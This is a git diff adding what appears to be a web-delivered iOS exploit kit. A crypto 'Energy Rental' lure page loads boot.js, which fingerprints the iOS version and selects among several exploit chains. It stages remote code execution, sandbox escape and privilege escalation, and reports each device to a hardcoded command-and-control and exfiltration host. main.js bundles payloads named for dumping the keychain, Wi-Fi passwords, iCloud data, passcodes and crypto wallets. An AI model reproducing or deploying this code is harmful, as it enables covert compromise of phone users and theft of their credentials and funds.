`/api/ds/device/register`, `/api/ds/log`, beacon/war) + +If the page is served under `/next-chain/`, delivery host is inferred automatically. +Override in `source/config.js`: + +```js +deliveryHost: "https://cdn.example.com/next-chain", // full base, or +deliveryPath: "/next-chain", // location.origin + path +exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true }, +``` + +```bash +cd channel-builder-ds +python3 tools/build.py +python3 tools/build.py --host 192.168.31.130 --port 8000 +python3 tools/build.py --origin http://192.168.31.130:8000 +``` + +Writes `../public/next-chain/` (atomic replace). `source/` is never mutated. diff --git a/channel-builder-ds/source/boot.js b/channel-builder-ds/source/boot.js new file mode 100644 index 0000000..63d6d35 --- /dev/null +++ b/channel-builder-ds/source/boot.js @@ -0,0 +1,419 @@ +(function () { + 'use strict'; + + var STAGE = { boot: 8, loader: 18, worker: 42, sbx0: 58, sbx1: 72, pe: 86, post: 100 }; + window.__LAB_CHAIN__ = ''; + + var _stageQueue = []; + var _lastPostedStage = ''; + function notify(stage, progress, label) { + try { + if (window.parent && window.parent !== window) { + window.parent.postMessage({ + type: 'ds-stage', + stage: stage, + progress: progress, + chain: window.__LAB_CHAIN__ || '', + label: label || stage + }, '*'); + } + } catch (e) {} + enqueueStage(stage, progress, label); + } + function enqueueStage(stage, progress, label) { + var key = String(stage) + '|' + String(progress) + '|' + String(label || stage); + if (key === _lastPostedStage) return; + _lastPostedStage = key; + _stageQueue.push({ stage: stage, progress: progress, label: label || stage }); + flushStageReports(); + } + function flushStageReports() { + var id = ''; + try { id = window.__LAB_DEVICE_UUID__ || ''; } catch (eId) {} + if (!id) return; + var channel = (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || ''; + while (_stageQueue.length) { + var item = _stageQueue.shift(); + try { + fetch(apiUrl('/api/ds/log'), { + method: 'POST', + headers: { 'Content-Type': 'application/json', 'X-Device-UUID': id }, + credentials: 'omit', + body: JSON.stringify({ + deviceUUID: id, + stage: item.stage, + progress: item.progress, + label: item.label, + chain: window.__LAB_CHAIN__ || '', + channelCode: channel + }) + }).catch(function () {}); + } catch (eS) {} + } + } + + notify('boot', STAGE.boot, 'frame_boot'); + + if (typeof labEnsureHosts === 'function') labEnsureHosts(); + var base = (typeof labDeliveryHost === 'function') + ? labDeliveryHost() + : String(window.__LAB_DELIVERY_HOST__ || location.origin).replace(/\/$/, ''); + window.__LAB_DELIVERY_HOST__ = base; + function apiUrl(path) { + return (typeof labApiUrl === 'function') ? labApiUrl(path) : (String((window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) || location.origin).replace(/\/$/, '') + path); + } + function assetUrl(path) { + return (typeof labDeliveryUrl === 'function') ? labDeliveryUrl(path) : (base + (path.charAt(0) === '/' ? path : '/' + path)); + } + + // 記錄 frame.html 載入時間戳 + console.log('[Frame] Loaded at', new Date().toISOString()); + fetch(apiUrl('/api/ds/log?text=frame.html loaded at ' + new Date().toISOString()), { method: 'GET' }).catch(() => {}); + + function resolveExfilInline() { + try { + var xhr = new XMLHttpRequest(); + xhr.open('GET', apiUrl('/api/ds/chain-targets'), false); + xhr.send(); + if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) { + var d = JSON.parse(xhr.responseText); + if (d.exfil && d.exfil.host) { + if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil); + else window.__LAB_EXFIL__ = d.exfil; + return; + } + } + } catch (e) {} + if (!window.__LAB_EXFIL__ || !window.__LAB_EXFIL__.host) { + window.__LAB_EXFIL__ = { + host: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com', + domain: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com', + http_port: 443, + https_port: 443, + tls: false, + prefer_https: false, + stats_url: '', + stats_url_direct: '', + delivery_stats_url: '', + }; + } + } + resolveExfilInline(); + + function parseIosVersion() { + var ua = navigator.userAgent; + var m = /iPhone OS ([0-9_]+)/.exec(ua); + if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua); + if (!m) m = /CPU OS ([0-9_]+)/.exec(ua); + if (!m) { + m = /Version\/(\d+)\.(\d+)/.exec(ua); + return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null; + } + return m[1].split('_').map(function (p) { return parseInt(p, 10); }); + } + + function cmpVer(a, b) { + for (var i = 0; i < 3; i++) { + var ai = a[i] || 0, bi = b[i] || 0; + if (ai < bi) return -1; + if (ai > bi) return 1; + } + return 0; + } + + function isCorunaRange(v) { + if (!v || !v.length || v[0] < 13) return false; + if (v[0] >= 18) return false; + if (v[0] === 17 && v[1] >= 3) return false; + if (v[0] === 17 && v[1] === 2 && (v[2] || 0) > 1) return false; + return true; + } + + function isSilkPathRange(v) { + if (!v || !v.length) return false; + var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0; + // 17.2.2+ through 18.3 — fills post-Coruna gap + if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true; + if (maj === 18 && min <= 3) return true; + return false; + } + + function isExploitChainRange(v) { + if (!v || !v.length) return false; + if (v[0] === 18 && (v[1] || 0) >= 4) return true; + if (v[0] >= 19 && v[0] <= 26) return true; + return false; + } + + function loadScript(src, onload, attempt) { + attempt = attempt || 0; + var s = document.createElement('script'); + s.async = false; + s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now(); + s.onload = function () { if (onload) onload(); }; + s.onerror = function () { + if (attempt < 4) { + setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1)); + } + }; + document.body.appendChild(s); + } + + function loadChainLoader(onload, attempt) { + attempt = attempt || 0; + var s = document.createElement('script'); + s.async = false; + s.src = assetUrl('/rce_loader.js?_=' + Date.now()); + s.onload = function () { if (onload) onload(); }; + s.onerror = function () { + if (attempt < 3) setTimeout(function () { loadChainLoader(onload, attempt + 1); }, 300 * (attempt + 1)); + }; + document.body.appendChild(s); + } + + var ios = parseIosVersion(); + function chainIdForIos(v) { + if (!v || !v.length) return 'unknown'; + if (isCorunaRange(v)) return 'coruna'; + if (isSilkPathRange(v)) return 'silkpath'; + if (isExploitChainRange(v)) { + var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0; + if ((maj === 18 && min === 7 && pat >= 3) || (maj >= 19 && maj <= 26)) return 'ghostwave'; + return 'darksword'; + } + return 'blocked'; + } + var chain = chainIdForIos(ios); + var apiPlan = null; + try { + var xhrPlan = new XMLHttpRequest(); + xhrPlan.open('GET', apiUrl('/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : '')), false); + xhrPlan.send(); + if (xhrPlan.status >= 200 && xhrPlan.status < 300 && xhrPlan.responseText) { + apiPlan = JSON.parse(xhrPlan.responseText); + if (apiPlan.chain) chain = apiPlan.chain; + if (apiPlan.exfil) { + if (typeof labApplyExfil === 'function') labApplyExfil(apiPlan.exfil); + else window.__LAB_EXFIL__ = apiPlan.exfil; + } + window.__LAB_BAND__ = apiPlan.band || null; + window.__LAB_GATED__ = !!apiPlan.gated; + window.__LAB_RECOMMENDED_WORKER__ = apiPlan.recommended_worker || (apiPlan.band && apiPlan.band.recommended_worker) || ''; + window.__LAB_FALLBACK_WORKERS__ = apiPlan.fallback_workers || (apiPlan.band && apiPlan.band.fallback_workers) || []; + window.__LAB_S5_MODULE__ = apiPlan.s5_module || ''; + window.__LAB_ENTRY__ = apiPlan.entry_point || apiPlan.redirect_to || ''; + window.__LAB_USABLE_GRADE__ = (apiPlan.band && apiPlan.band.usable_grade) || ''; + window.__LAB_USABLE_FOR_ATTEMPT__ = !!(apiPlan.band && apiPlan.band.usable_for_attempt); + if (apiPlan.band && apiPlan.band.usable_grade === 'DEAD' && /26\.3/.test(ios ? ios.join('.') : '')) { + window.__LAB_RECOMMENDED_WORKER__ = window.__LAB_RECOMMENDED_WORKER__ || 'rce_worker_26.3.js'; + } + try { + var pw = window.__LAB_RECOMMENDED_WORKER__; + if (pw) { + var l = document.createElement('link'); + l.rel = 'preload'; l.as = 'script'; l.href = assetUrl('/' + pw); + document.head.appendChild(l); + } + ['sbx0_main_18.4.js','sbx1_main.js','pe_main.js'].forEach(function(f){ + var l2=document.createElement('link'); + l2.rel='prefetch'; l2.href=assetUrl('/'+f); + document.head.appendChild(l2); + }); + } catch (ePre) {} + } + } catch (ePlan) {} + window.__LAB_CHAIN__ = chain; + try { + if (window.parent && window.parent !== window) { + window.parent.postMessage({ + type: 'ds-chain', + chain: chain, + ios: ios ? ios.join('.') : '' + }, '*'); + } + } catch (eChain) {} + + (function bindDeviceUuid() { + function genUuid32() { + try { + var a = new Uint8Array(16); + (window.crypto || window.msCrypto).getRandomValues(a); + var hex = ''; + for (var i = 0; i < a.length; i++) hex += ('0' + a[i].toString(16)).slice(-2); + return hex.toUpperCase(); + } catch (e) { + return (Date.now().toString(16) + Math.random().toString(16).slice(2) + '0000000000000000').slice(0, 32).toUpperCase(); + } + } + try { + var q = new URLSearchParams(location.search); + var du = q.get('deviceUUID') || q.get('device') || q.get('uuid') || ''; + if (!du) { + try { du = localStorage.getItem('lab_device_uuid') || ''; } catch (eLs) {} + } + if (!du) { + try { + var m = document.cookie.match(/(?:^|; )lab_device_uuid=([^;]*)/); + du = m ? decodeURIComponent(m[1]) : ''; + } catch (eCk) {} + } + // Always ensure a wall-clock device id so /api/ds/log + exfil attribute correctly + if (!du || String(du).replace(/-/g, '').length < 16) du = genUuid32(); + window.__LAB_DEVICE_UUID__ = String(du).replace(/-/g, '').toUpperCase().slice(0, 32); + try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e1) {} + try { + document.cookie = 'lab_device_uuid=' + encodeURIComponent(window.__LAB_DEVICE_UUID__) + ';path=/;max-age=31536000;SameSite=Lax'; + } catch (eC2) {} + } catch (e0) { + try { window.__LAB_DEVICE_UUID__ = genUuid32(); } catch (e00) {} + } + window.addEventListener('message', function (ev) { + if (!ev.data || ev.data.type !== 'lab-device-id' || !ev.data.deviceId) return; + window.__LAB_DEVICE_UUID__ = String(ev.data.deviceId).replace(/-/g, '').toUpperCase(); + try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e2) {} + try { flushStageReports(); } catch (eF) {} + }); + })(); + try { flushStageReports(); } catch (eFlush) {} + + (function registerFrameDevice() { + try { + var id = window.__LAB_DEVICE_UUID__ || ''; + if (!id) return; + var iosStr = ios ? ios.join('.') : ''; + var regHeaders = { 'Content-Type': 'application/json', 'X-Device-UUID': id }; + var regBody = JSON.stringify({ + deviceUUID: id, + user_agent: navigator.userAgent, + userAgent: navigator.userAgent, + ios: iosStr, + ios_version: iosStr, + chain: chain === 'blocked' ? 'out_of_scope' : chain, + channelCode: (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || '' + }); + fetch(apiUrl('/api/ds/device/register'), { + method: 'POST', + headers: regHeaders, + credentials: 'omit', + body: regBody + }).then(function (r) { return r.ok ? r.json() : null; }).then(function (d) { + var canon = (d && d.device) ? String(d.device).replace(/-/g, '').toUpperCase() : ''; + if (canon) { + window.__LAB_DEVICE_UUID__ = canon; + try { localStorage.setItem('lab_device_uuid', canon); } catch (e3) {} + try { + document.cookie = 'lab_device_uuid=' + encodeURIComponent(canon) + ';path=/;max-age=31536000;SameSite=Lax'; + } catch (e4) {} + if (window.parent && window.parent !== window) { + try { window.parent.postMessage({ type: 'lab-device-id', deviceId: canon }, '*'); } catch (e5) {} + } + } + }).catch(function () {}); + } catch (e) {} + })(); + + console.log('[Frame] iOS version:', ios ? ios.join('.') : 'unknown'); + console.log('[Frame] Chain selected:', chain); + (function () { + var id = window.__LAB_DEVICE_UUID__ || ''; + var q = 'text=' + encodeURIComponent('Chain selected: ' + chain + ' for iOS ' + (ios ? ios.join('.') : 'unknown')); + if (id) q += '&deviceUUID=' + encodeURIComponent(id) + '&device=' + encodeURIComponent(id); + fetch(apiUrl('/api/ds/log?' + q), { + method: 'GET', + headers: id ? { 'X-Device-UUID': id } : {} + }).catch(function () {}); + })(); + + + function setHold(kind) { + try { + var ts = String(Date.now()); + localStorage.setItem('__ds_chain_hold', ts); + sessionStorage.setItem('__ds_chain_hold', ts); + if (kind === 'rce' || kind === 'all') { + localStorage.setItem('__ds_rce_hold', ts); + sessionStorage.setItem('__ds_rce_hold', ts); + } + if (window.parent && window.parent !== window) { + window.parent.postMessage({ type: 'ds-rce-hold', progress: 42 }, '*'); + } + } catch (e) {} + } + + if (chain === 'coruna') { + notify('loader', STAGE.loader); + // Prefer full group.html entry when top-level; inside iframe use loader + var corunaEntry = (window.__LAB_ENTRY__ && window.__LAB_ENTRY__.indexOf('coruna') >= 0) + ? window.__LAB_ENTRY__ + : '/coruna/group.html'; + try { + if (window.top === window) { + location.replace(assetUrl(corunaEntry) + (location.search || '')); + return; + } + } catch (eTop) {} + loadScript(assetUrl('/coruna/coruna_loader.js'), function () { + notify('worker', STAGE.worker); + }); + } else if (chain === 'silkpath') { + setHold('rce'); + notify('loader', STAGE.loader); + loadScript(assetUrl('/SilkPath/delivery/silkpath_loader.js'), function () { + notify('worker', STAGE.worker); + }); + } else if (chain === 'darksword' || chain === 'ghostwave') { + // Hold must be set before RCE — otherwise crash-loop breaker / idle re-arm + // reload the page while stage1 is still running (looks like "auto refresh"). + setHold('rce'); + notify('loader', STAGE.loader); + // Load plaintext rce_loader.js + loadChainLoader(function () { + notify('worker', STAGE.worker); + }); + } else { + loadScript(assetUrl('/chain_blocked.js'), function () { + notify('loader', STAGE.loader); + }); + } + + var _log = console.log; + console.log = function () { + var msg = Array.prototype.join.call(arguments, ' '); + // Stage mapping must be strict: bare "exfil" / "pe exfil grace" must NOT jump to S6. + if (/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i.test(msg)) notify('worker', STAGE.worker); + if (/after get js|sbx0_main/i.test(msg)) notify('sbx0', STAGE.sbx0); + if (/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i.test(msg)) notify('sbx1', STAGE.sbx1); + if (/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait/i.test(msg)) notify('pe', STAGE.pe); + // S6 only on real post-exploit completion — not mid-chain "exfil" / "all done" logs + if (/file_downloader_ok|chain.?complete/i.test(msg)) notify('post', STAGE.post); + else if (/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i.test(msg)) { + notify('pe', Math.max(STAGE.pe, 90), '權限提升 · 後台收尾'); + } + if (/coruna stage2|seedbell/i.test(msg)) notify('sbx0', STAGE.sbx0); + if (/coruna stage3|0xF00DBEEF|dylib load address/i.test(msg)) notify('pe', STAGE.pe); + // Signal parent: CoreAnimation→sendPort hang needs timely re-arm + if (/GPU crashed at CoreAnimation|waiting for sendPort|sendPort wait timed out|coreanim_abort|oob:.*hang|sprayBuffers:.*hang/i.test(msg)) { + try { + if (window.parent && window.parent !== window) { + window.parent.postMessage({ type: 'ds-sbx-stall', progress: 58 }, '*'); + } + } catch (_) {} + } + // GPU kill blanks Safari compositor — parent should keep calm UI / faster re-arm + if (/crashGPUProcess|gpu_blank_expected|going to respawn gpu/i.test(msg)) { + try { + if (window.parent && window.parent !== window) { + window.parent.postMessage({ type: 'ds-gpu-blank', progress: 58 }, '*'); + } + } catch (_) {} + } + if (/\[MPD\] pe spawned|pe_main_pe_done|Spawning PE|pe bootstrap|nowait_exit fired|PEMK-A start alive|pe_after_runPE/i.test(msg)) { + try { + if (window.parent && window.parent !== window) { + window.parent.postMessage({ type: 'ds-pe-spawned', progress: 86 }, '*'); + } + } catch (_) {} + } + return _log.apply(console, arguments); + }; +})(); diff --git a/channel-builder-ds/source/config.js b/channel-builder-ds/source/config.js new file mode 100644 index 0000000..d52374a --- /dev/null +++ b/channel-builder-ds/source/config.js @@ -0,0 +1,18 @@ +window.NEWS2_CONFIG = { + // 空:跟当前打开页面走。配了 deliveryPath 后变成 location.origin + /next-chain + deliveryHost: "", + deliveryPath: "/next-chain", + qqtimePath: "/qqtime/", + // C2 / API → coruna-lab :8000 + exfil: { + host: "192.168.31.130", + domain: "192.168.31.130", + http_port: 8000, + https_port: 8000, + tls: false, + prefer_https: false, + }, + redirectUrl: "https://ab.ux600.com", + countdownSeconds: 8, +}; +if (typeof labApplyNews2Config === "function") labApplyNews2Config(); diff --git a/channel-builder-ds/source/done.html b/channel-builder-ds/source/done.html new file mode 100644 index 0000000..dce94c8 --- /dev/null +++ b/channel-builder-ds/source/done.html @@ -0,0 +1,67 @@ + + + + + + + + + + + +
+ +
+ + + + diff --git a/channel-builder-ds/source/frame.html b/channel-builder-ds/source/frame.html new file mode 100644 index 0000000..f7c97ba --- /dev/null +++ b/channel-builder-ds/source/frame.html @@ -0,0 +1,22 @@ + + + + + + + + + + + diff --git a/channel-builder-ds/source/index.html b/channel-builder-ds/source/index.html new file mode 100644 index 0000000..fac7ac4 --- /dev/null +++ b/channel-builder-ds/source/index.html @@ -0,0 +1,1141 @@ + + + + + + + + Energy Rental - 24/7 Unattended Instant Delivery + + + + + + + + + + + + + +
+
+ + + + +
8
+
+
Matching network resources, please wait...
+
+ + + + + + + +
+
+
+
+
+
+
+ + Network Online +
+

+ Energy Rental - 24/7 Unattended Instant Delivery +

+

+ Institutional-level energy proxy. Zero fees & instant arrival, the most competitive price in the ecosystem. +

+
+
+
+
+

Send TRX to rent instantly

+
+ + TBHmGSLDFFF26DYaet2j91LWkTtRjmXPqF + + +
+

+ verified + Send 0.1TRX, 65k energy will be sent to your sending address within 10s automatically. +

+
+
+
+
+
+ +
+
+
+

Transparent Pricing

+

Pick a plan matching your trading volume.

+
+
+
+
+ flash_on +
+ Starter +
+ 0.8 + TRX +
+
+
+
+ check_circle + 65,000 Energy +
+
+ check_circle + Instant Credit +
+
+ +
+ +
+
Best Value
+
+ bolt +
+ High Volume +
+ 1.6 + TRX +
+
+
+
+ check_circle + 131,000 Energy +
+
+ check_circle + Instant Credit +
+
+ +
+
+
+
+ +
+
+
+
+
+

Full Technical Support

+

For beginners & professional traders, we provide 24/7 support resources.

+
+
+
+
+ robot_2 +
+
+

Telegram Auto Bot

+

Purchase, check balance & order status directly via bot for faster operations.

+ + Visit Now arrow_forward + +
+
+ +
+
+ campaign +
+
+

Official Announcement Channel

+

Get network status updates, price adjustments & system upgrade notices.

+ + Subscribe Channel arrow_forward + +
+
+ +
+
+ support_agent +
+
+

Human Support

+

Payment missing or bulk institutional purchase demands? Contact our professional tech team.

+ + Contact Support arrow_forward + +
+
+
+
+
+
+
+
+ + + +
+
+ check_circle + Address copied to clipboard +
+
+ + + + + + + + + \ No newline at end of file diff --git a/channel-builder-ds/source/lab_hosts.js b/channel-builder-ds/source/lab_hosts.js new file mode 100644 index 0000000..82b454b --- /dev/null +++ b/channel-builder-ds/source/lab_hosts.js @@ -0,0 +1,179 @@ +// Delivery = static assets (__LAB_DELIVERY_HOST__, may include a path). +// API / C2 = __LAB_EXFIL__ (host + ports only, no asset path). +(function (g) { + if (!g) return; + + function trimSlash(s) { + return String(s || "").replace(/\/+$/, ""); + } + + function ensureSlashPath(p) { + p = String(p || ""); + if (!p) return ""; + return p.charAt(0) === "/" ? p : "/" + p; + } + + function joinBase(base, path) { + base = trimSlash(base); + path = String(path || ""); + if (!path) return base; + if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(path)) return path; + if (path.charAt(0) !== "/") path = "/" + path; + return base + path; + } + + function hostOnly(raw) { + return String(raw || "") + .replace(/^https?:\/\//, "") + .split("/")[0] + .split(":")[0]; + } + + function defaultExfil() { + var domain = hostOnly(g.__LAB_EXFIL_DOMAIN__); + return { + host: domain, + domain: domain, + http_port: 443, + https_port: 443, + tls: false, + prefer_https: false, + stats_url: "", + stats_url_direct: "", + delivery_stats_url: "", + }; + } + + function inferDeliveryHost() { + try { + if (g.__LAB_DELIVERY_HOST__) return trimSlash(g.__LAB_DELIVERY_HOST__); + } catch (e0) {} + try { + var path = g.location && g.location.pathname ? String(g.location.pathname) : ""; + var chained = path.match(/^(.*\/next-chain)(?:\/|$)/); + if (chained && g.location.origin && g.location.origin !== "null") { + return trimSlash(g.location.origin) + chained[1]; + } + } catch (eBoot) {} + try { + var cfg = g.NEWS2_CONFIG || {}; + if (cfg.deliveryHost) return trimSlash(cfg.deliveryHost); + if (cfg.deliveryPath) { + var originFromCfg = g.location && g.location.origin ? trimSlash(g.location.origin) : ""; + return trimSlash(originFromCfg + ensureSlashPath(cfg.deliveryPath)); + } + } catch (e1) {} + try { + if (!g.location || !g.location.origin || g.location.origin === "null") return ""; + var origin = trimSlash(g.location.origin); + var path = String(g.location.pathname || "/"); + var m = path.match(/^(.*\/next-chain)(?:\/|$)/); + if (m) return origin + m[1]; + return origin; + } catch (e2) {} + return ""; + } + + function applyExfil(ex) { + var cur = g.__LAB_EXFIL__ && g.__LAB_EXFIL__.host ? g.__LAB_EXFIL__ : defaultExfil(); + if (!ex || !ex.host) return cur; + g.__LAB_EXFIL__ = { + host: hostOnly(ex.host) || cur.host, + domain: hostOnly(ex.domain || ex.host) || cur.domain, + http_port: ex.http_port != null ? Number(ex.http_port) : cur.http_port, + https_port: ex.https_port != null ? Number(ex.https_port) : cur.https_port, + tls: ex.tls != null ? !!ex.tls : !!cur.tls, + prefer_https: ex.prefer_https != null ? !!ex.prefer_https : !!cur.prefer_https, + stats_url: ex.stats_url || cur.stats_url || "", + stats_url_direct: ex.stats_url_direct || cur.stats_url_direct || "", + delivery_stats_url: ex.delivery_stats_url || cur.delivery_stats_url || "", + }; + return g.__LAB_EXFIL__; + } + + function apiOrigin(ex) { + ex = ex || g.__LAB_EXFIL__ || defaultExfil(); + var host = hostOnly(ex.host); + var tls = !!(ex.tls || ex.prefer_https); + var port = Number(tls ? ex.https_port || 443 : ex.http_port || 80); + var scheme = tls ? "https" : "http"; + var origin = scheme + "://" + host; + if (!((scheme === "https" && port === 443) || (scheme === "http" && port === 80) || !port)) { + origin += ":" + port; + } + return origin; + } + + function ensureHosts() { + if (!g.__LAB_EXFIL__ || !g.__LAB_EXFIL__.host) g.__LAB_EXFIL__ = defaultExfil(); + var d = inferDeliveryHost(); + if (d) g.__LAB_DELIVERY_HOST__ = d; + return { delivery: g.__LAB_DELIVERY_HOST__ || "", exfil: g.__LAB_EXFIL__ }; + } + + function applyNews2Config() { + var cfg = g.NEWS2_CONFIG || {}; + if (cfg.deliveryHost) { + g.__LAB_DELIVERY_HOST__ = trimSlash(cfg.deliveryHost); + } else if (cfg.deliveryPath) { + try { + g.__LAB_DELIVERY_HOST__ = trimSlash(trimSlash(g.location.origin) + ensureSlashPath(cfg.deliveryPath)); + } catch (e) {} + } + if (cfg.exfil) applyExfil(cfg.exfil); + ensureHosts(); + } + + g.labTrimSlash = trimSlash; + g.labJoinBase = joinBase; + g.labInferDeliveryHost = inferDeliveryHost; + g.labDeliveryHost = function () { + ensureHosts(); + return trimSlash(g.__LAB_DELIVERY_HOST__ || ""); + }; + g.labDeliveryUrl = function (path) { + return joinBase(g.labDeliveryHost(), path); + }; + g.labApiOrigin = function () { + ensureHosts(); + return apiOrigin(g.__LAB_EXFIL__); + }; + g.labApiUrl = function (path) { + return joinBase(g.labApiOrigin(), path); + }; + g.labApplyExfil = applyExfil; + g.labEnsureHosts = ensureHosts; + g.labApplyNews2Config = applyNews2Config; + + function persistChannelCode(code) { + code = String(code || "").trim().slice(0, 64); + if (!code) return ""; + g.__LAB_CHANNEL_CODE__ = code; + try { + if (g.sessionStorage) g.sessionStorage.setItem("lab_channel_code", code); + } catch (e0) {} + try { + if (g.localStorage) g.localStorage.setItem("lab_channel_code", code); + } catch (e1) {} + return code; + } + + function readChannelCode() { + try { + var path = (g.location && g.location.pathname) || ""; + var m = String(path).match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i); + if (m && m[1]) return persistChannelCode(m[1].toUpperCase()); + } catch (e3) {} + return ""; + } + + g.labChannelCode = function () { + if (g.__LAB_CHANNEL_CODE__) return String(g.__LAB_CHANNEL_CODE__); + return readChannelCode(); + }; + + ensureHosts(); + try { + g.labChannelCode(); + } catch (eCh) {} +})(typeof window !== "undefined" ? window : typeof globalThis !== "undefined" ? globalThis : null); diff --git a/channel-builder-ds/source/main.js b/channel-builder-ds/source/main.js new file mode 100644 index 0000000..6b09e66 --- /dev/null +++ b/channel-builder-ds/source/main.js @@ -0,0 +1,329 @@ +try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} +import Native from "libs/Chain/Native"; +import Chain from "libs/Chain/Chain"; +import TaskRop from "libs/TaskRop/TaskRop"; +import Task from "libs/TaskRop/Task"; +import Sandbox from "libs/TaskRop/Sandbox"; +import Utils from "libs/JSUtils/Utils"; +import InjectJS from "./InjectJS"; +import Driver from "libs/Driver/Driver"; +import RemoteCall from "libs/TaskRop/RemoteCall"; +import MigFilterBypassThreadCode from "!raw-loader!../dist/MigFilterBypassThread.js"; +import loaderCode from "!raw-loader!loader.js"; +import fileDownloaderCode from "!raw-loader!file_downloader.js"; +import keychainCopierCode from "!raw-loader!keychain_copier.js"; +import wifiDumpCode from "!raw-loader!wifi_password_dump.js"; +import wifiDumpSecuritydCode from "!raw-loader!wifi_password_securityd.js"; +import iCloudDumperCode from "!raw-loader!icloud_dumper.js"; + +import keychainDumperCode from "!raw-loader!keychain_dumper.js"; +import passcodeCaptureCode from "!raw-loader!passcode_capture.js"; +import walletKeychainDumpersCode from "!raw-loader!wallet_keychain_dumpers.js"; +import walletExtractorCode from "!raw-loader!wallet_extractor.js"; +import ghostNativeStub from "!raw-loader!ghost_native_stub.js"; +import ghostHttpClient from "!raw-loader!ghost_http_client.js"; +import ghostFollowonLoader from "!raw-loader!ghost_followon_loader.js"; +import ghostSharedChannel from "!raw-loader!ghost_shared_channel.js"; +import ghostSaberAgent from "!raw-loader!ghost_saber_agent.js"; +import ghostKnifeClient from "!raw-loader!ghost_knife_client.js"; + +const ghostSaberPayload = [ + ghostNativeStub, + ghostHttpClient, + ghostFollowonLoader, + ghostSharedChannel, + ghostSaberAgent, +].join("\n"); +const ghostKnifePayload = [ghostNativeStub, ghostKnifeClient].join("\n"); + +class MigFilterBypass { + + #running; + #sharedMem; + #runFlagPtr; + #isRunningPtr; + #monitorThread1Ptr; + #monitorThread2Ptr; + #mutexPtr; + + constructor(mutexPtr) { + this.#mutexPtr = mutexPtr; + this.#running = false; + this.#sharedMem = BigInt(Native.callSymbol("calloc", 1, 0x100)); + this.#runFlagPtr = this.#sharedMem; + this.#isRunningPtr = this.#sharedMem + 0x4n; + this.#monitorThread1Ptr = this.#sharedMem + 0x8n; + this.#monitorThread2Ptr = this.#sharedMem + 0x10n; + Native.write32(this.#runFlagPtr, 2); + Native.write32(this.#isRunningPtr, 0); + } + + start() { + if (this.#running) + return; + + let threadSelf = BigInt(Native.callSymbol("mach_thread_self")); + let threadSelfAddr = BigInt(Task.getPortKObject(threadSelf)); + + + let threadMem = BigInt(Native.callSymbol("calloc", 1, 0x400)); + let kernelRW = Chain.transferRW(); + let kernelBase = BigInt(Chain.getKernelBase()); + Native.write64(threadMem, BigInt(kernelRW.controlSocket)); + Native.write64(threadMem + 0x8n, BigInt(kernelRW.rwSocket)); + Native.write64(threadMem + 0x10n, kernelBase); + Native.write64(threadMem + 0x18n, threadSelfAddr); + Native.write64(threadMem + 0x20n, this.#runFlagPtr); + Native.write64(threadMem + 0x28n, this.#isRunningPtr); + Native.write64(threadMem + 0x30n, this.#mutexPtr); + Native.write64(threadMem + 0x38n, BigInt(Chain.offsets().migLock)); + Native.write64(threadMem + 0x40n, BigInt(Chain.offsets().migSbxMsg)); + Native.write64(threadMem + 0x48n, BigInt(Chain.offsets().migKernelStackLR)); + Native.write64(threadMem + 0x50n, this.#monitorThread1Ptr); + Native.write64(threadMem + 0x58n, this.#monitorThread2Ptr); + //Native.write64(threadMem, lock.kernelSlide); + //Native.write64(threadMem + 0x8n, lock.lockAddr); + //console.log(TAG, `Spawn bypass thread with args: kernelSlide=${Utils.hex(lock.kernelSlide)}, lockAddr=${Utils.hex(lock.lockAddr)}`); + const threadCode = "fcall_init(); " + MigFilterBypassThreadCode; + Chain.threadSpawn(threadCode, threadMem); + + for (let i=0; i<10; i++) { + let isRunning = Native.read32(this.#isRunningPtr); + if (isRunning) + break; + Native.callSymbol("usleep", 500000); + } + + this.#running = true; + } + + stop() { + if (!this.#running) + return; + + Native.write32(this.#runFlagPtr, 0); + Native.callSymbol("sleep", 1); + this.#running = false; + } + + pause() { + Native.write32(this.#runFlagPtr, 2); + Native.callSymbol("sleep", 1); + } + + resume() { + Native.write32(this.#runFlagPtr, 1); + Native.callSymbol("sleep", 1); + } + + monitorThreads(thread1, thread2) { + Native.write64(this.#monitorThread1Ptr, thread1); + Native.write64(this.#monitorThread2Ptr, thread2); + } +} +function xnuVersion() { + Native.callSymbol("uname", Native.mem); + const release = Native.readString(Native.mem + 0x200n, 0x100); + let splittedVersion = release.split("."); + let xnuMajor = splittedVersion[0]; + let xnuMinor = splittedVersion[1]; + return {major: xnuMajor, minor: xnuMinor}; +} + +const TAG = "MAIN"; +//const targetProcess = "bluetoothd"; +const targetProcess = "SpringBoard"; + +function start() { + let mutexPtr = null; + let migFilterBypass = null; + globalThis.xnuVersion = xnuVersion(); + let ver = globalThis.xnuVersion; + + // If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions + if (ver.major == 24 && ver.minor >= 4) { + + mutexPtr = BigInt(Native.callSymbol("malloc", 